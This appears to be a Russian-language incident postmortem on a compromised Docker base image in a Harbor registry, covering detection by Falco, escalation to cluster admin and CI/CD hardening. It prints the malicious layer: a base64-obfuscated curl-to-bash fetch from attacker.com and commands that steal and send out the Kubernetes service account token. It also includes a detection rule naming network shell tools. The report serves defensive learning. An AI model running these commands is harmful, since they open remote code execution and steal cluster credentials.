Компрометация базового Docker-образа в приватном Harbor registry. Злоумышленник загрузил malicious layer с reverse shell + K8s service account token theft. Образ прошел CI/CD, задеплоился в прод. Runtime detection (Falco) поймал аномалию за 3 минуты. Форензика, ремедиация, full CI/CD hardening.
3 минTime to Detect
1 malicious layerIn Base Image
Cluster AdminEscalation Path
0 data lossContained
1. Как проникли: Compromised Dev → Harbor Write
Разработчик попал на фишинг (GitLab credentials). У аккаунта был Developer роль в проекте Harbor — это даёт push к образам. Атакующий загрузил новый тег base/ubuntu:22.04-malicious к существующему базовому образу, используя docker manifest манипуляцию (layer injection).
Malicious layer (слой #47 из 47):
dockerfile
# Malicious layer content (extracted via dive)
RUN echo 'IyEvYmluL2Jhc2gKY3VybCAtcyBhdHRhY2tlci5jb20vc2hlbGwuc2ggfCBiYXNoCg==' | base64 -d | bash
# Decoded: curl -s attacker.com/shell.sh | bash
# + Service Account Token Theft
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -X POST attacker.com/steal -d "token=$TOKEN&ns=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)"
2. CI/CD Pipeline — почему прошло?
GitLab CI использовал docker pull base/ubuntu:22.04 без проверки digest/hash. ArgoCD деплоил по тегу latest. Подпись образов (Cosign) — не настроена. Admission Controller (Kyverno/OPA) — отсутствовал. Результат: malicious образ попал в прод через легатимый пайплайн.
🔓
No Image Signing
Cosign/Notary не настроены. Любой push в Harbor = trusted
🚫
No Admission Control
Kyverno/OPA Gatekeeper отсутствуют. Нет проверки digest, SBOM, vulnerabilities
🏷
Mutable Tags
latest перезаписывается. Нет immutable digest pinning в deployment.yaml
3. Runtime Detection — Falco caught it in 3 min
Falco rule Terminal shell in container сработал на bash -c curl ... | bash. Дополнительно: K8s Service Account Token Access rule детектит чтение /var/run/secrets/kubernetes.io/serviceaccount/token не-standard процессом.
yaml
- rule: Suspicious Shell with Network in Container
desc: Detect shell spawning with network connection
condition: |
container and proc.name in (bash, sh, zsh) and
fd.net and
proc.cmdline contains "curl|wget|nc|socat"
output: |
Shell with network in container (user=%user.name container=%container.id image=%container.image.repository)
priority: CRITICAL
tags: [mitre_execution, mitre_command_and_control]
Alert ушел в Slack + PagerDuty. SOC изолировал под: kubectl cordon node-X; kubectl delete pod malicious-pod --grace-period=0 --force.
4. Эскалация: Token → Cluster Admin
Украденный SA token принадлежал argocd-application-controller в namespace argocd. У этого SA была ClusterRole с impersonate на system:masters (ArgoCD требует для sync). Атакующий сделал kubectl --as=system:admin ... → Cluster Admin.
Harbor Hardening — RBAC: Dev = read only, CI Bot = push (short-lived tokens),_scan on push (Trivy)
ArgoCD SA Least Privilege — убрали impersonate, ограничили namespace-scoped permissions
Falco Rules Tuning — добавили custom rules для SA token access, unexpected processes, network anomalies
GitLab MFA + Conditional Access — обязательный 2FA, блок push без signed commits
6. Уроки (Lessons Learned)
Supply Chain = Registry + CI/CD + Admission + RuntimeMutable tags (latest) — зло. Только immutable digests (sha256:...)Cosign keyless (OIDC) — просто и бесплатно. Нет оправданий не подписыватьService Account Token — это пароль от кластера. Ограничивайте automountServiceAccountTokenArgoCD / Flux / Jenkins SA — частые цели. Audit их RBAC quarterlyFalco без custom rules = шум. Настройте под свой стек